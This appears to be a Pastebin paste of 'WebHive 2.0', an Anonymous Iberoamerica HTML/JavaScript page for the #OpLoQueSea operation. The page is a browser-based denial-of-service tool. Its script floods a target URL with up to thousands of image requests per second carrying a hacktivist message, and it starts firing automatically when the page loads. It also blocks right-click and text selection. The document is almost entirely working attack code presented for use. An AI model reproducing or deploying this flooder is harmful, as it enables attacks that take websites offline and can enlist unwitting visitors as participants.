SHARE
TWEET

WebHive 2.0

Joe_Yabuki Jul 22nd, 2012 6,527 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"g">
  5.  
  6. <link rel="SHORTCUT ICON" type="chliz" href="http://i.imgur.com/ATn9J.jpg">
  7. <title>#OpLoQueSea - Webhive 2.0</title>
  8. <style type="text/css">
  9. body {
  10.         background: url("http://i.imgur.com/0dXMa.jpg");
  11.         background-repeat: no-repeat;
  12.         background-position: right;
  13.         background-attachment: fixed;
  14.         background-color: #000000;
  15.         margin-top: 5%;
  16.         margin-bottom: 5%;
  17.         margin-left: 15%;
  18.         margin-right: 15%;
  19.         font-family:"Courier New", Courier, monospace;
  20.         color: #FFFFFF;
  21.         }
  22. fieldset {
  23.         border-style: none;
  24.         margin: 10px;
  25.         }
  26. p {
  27.         margin: 0;
  28.         }
  29. input {
  30.         margin: 0;
  31.         background-color: transparent;
  32.         border: none;
  33.         text-align: center;
  34.         font-family:"Courier New", Courier, monospace;
  35.         color: #FFFFFF;
  36.         }
  37. </style>
  38. <script language="JavaScript">
  39. <!-- Disable
  40. function disableselect(e){
  41. return false
  42. }
  43. function reEnable(){
  44. return true
  45. }
  46. //if IE4+
  47. document.onselectstart=new Function ("return false")
  48. document.oncontextmenu=new Function ("return false")
  49. //if NS6
  50. if (window.sidebar){
  51. document.onmousedown=disableselect
  52. document.onclick=reEnable
  53. }
  54. //-->
  55. </script>
  56. </head>
  57. <body onLoad="type()">
  58. <fieldset>
  59. <div id="title" align="center"><font size="+3" color="#FF0000">[#</font><font size="+3">OpLoQueSea</font><font size="+3" color="#FF0000">] -- [</font><font size="+3">WebHive</font><font size="+3" color="#FF0000">]</font></div><br><br>
  60. <div id="hive" align="center">
  61. <font color="#FF0000">[</font>TARGET<font color="#FF0000">]</font><br>
  62. <input name="target" id="target" size="100" value="http://Aca_va_el_target.com"><br><br>
  63. <font color="#FF0000">[</font>PETICIONES<font color="#FF0000">]</font><br>
  64. <input id="requests" size="100" value="5000"><br><br>
  65. <font color="#FF0000">[</font>MENSAJE<font color="#FF0000">]</font><br>
  66. <input id="message" size="100" value="Somos Anonymous, Somos Legion, No perdonamos, No olvidamos, Esperanos! Anonymous Iberoamerica"><br><br>
  67. <font color="#FF0000">[</font>STATUS<font color="#FF0000">]</font><br>
  68. SOLICITUDES <p id="requested">0</p>
  69. LOGROS <p id="succeeded">0</p>
  70. FALLIDOS   <p id="failed">0</p><br>
  71. <button id="fire" style="background-color:#000000; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255);"> STOP! </button><br><br><br>
  72. </div>
  73. <script>
  74. (function () {
  75.         var fireInterval;
  76.         var isFiring = false;
  77.         var currentTime = new Date();
  78.         var lastSuccess = currentTime.getTime();
  79.  
  80.         var requestedNode = document.getElementById("requested"),
  81.         succeededNode = document.getElementById("succeeded"),
  82.         failedNode = document.getElementById("failed"),
  83.         targetNode = document.getElementById("target"),
  84.         fire = document.getElementById("fire"),
  85.         messageNode = document.getElementById("message"),
  86.         requestsNode = document.getElementById("requests"),
  87.         timeoutNode = document.getElementById("timeout");
  88.  
  89.         var target = targetNode.value;
  90.         targetNode.onchange = function () {
  91.              target = this.value;
  92.             };
  93.  
  94.         var requestsHT = {};
  95.  
  96.         var requested = 0,
  97.         succeeded = 0,
  98.         failed = 0;
  99.  
  100.         var makeHttpRequest = function () {
  101.                 if ( (currentTime.getTime()-lastSuccess) > 10000) {
  102.                         return;
  103.                 } else {
  104.                         lastSuccess = currentTime.getTime();
  105.                 };
  106.                                        
  107.                 var rID =Number(new Date());
  108.        
  109.                 var img = new Image();
  110.         img.onerror = function () { onFail(rID); };
  111.         img.onabort = function () { onFail(rID); };
  112.         img.onload = function () { onSuccess(rID); };
  113.                 img.setAttribute("src", target + "?id=" + rID + "&msg=" + messageNode.value);
  114.         requestsHT[rID] = img;
  115.         onRequest(rID);
  116.         };
  117.  
  118.         var onRequest = function (rID) {
  119.             requested++;
  120.             requestedNode.innerHTML = requested;
  121.             };
  122.  
  123.         var onComplete = function (rID) {
  124.             delete requestsHT[rID];
  125.             };
  126.  
  127.         var onFail = function (rID) {
  128.             // failedCtr++;
  129.             //failedCtrNode.innerHTML = failedCtr;
  130.                 succeeded++; //Seems like the url will always fail it it isn't an image
  131.             succeededNode.innerHTML = succeeded;
  132.                 delete requestsHT[rID];
  133.             };
  134.  
  135.         var onSuccess = function (rID) {
  136.             succeeded++;
  137.             succeededNode.innerHTML = succeeded;
  138.                     delete requestsHT[rID];
  139.         };
  140.  
  141.         fire.onclick = function () {
  142.                 if (isFiring) {
  143.                         clearInterval(fireInterval);
  144.                         isFiring = false;
  145.                         this.innerHTML = "FIRE!";
  146.                 } else {
  147.                         isFiring = true;
  148.                         this.innerHTML = "STOP!";
  149.                         fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(requestsNode.value) | 0));
  150.                         }
  151.                 };
  152.                        
  153.         function start() {
  154.                 if (isFiring) {
  155.                         clearInterval(fireInterval);
  156.                         isFiring = false;
  157.                         this.innerHTML = "FIRE!";
  158.                 } else {
  159.                         isFiring = true;
  160.                         this.innerHTML = "STOP";
  161.                         fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(requestsNode.value) | 0));
  162.                         }
  163.                 };
  164. document.getElementById("target").value = "http://Aca_va_el_target.com";
  165. start();
  166. })();
  167. </script>
  168. <div id="footer" align="center"><font color="#FF0000"># [</font>Iberoamerica<font color="#FF0000">] -- [</font>ANONYMOUS<font color="#FF0000">] #</font></div>
  169. </fieldset>
  170. <script type="text/javascript" src="http://www.usuarios-online.com/usuarios.php?v=www.e-viphostchile.tk/acta.html"></script> <a href="http://www.usuarios-online.com/en/">users online</a>
  171. </body>
  172. </html>
RAW Paste Data
Top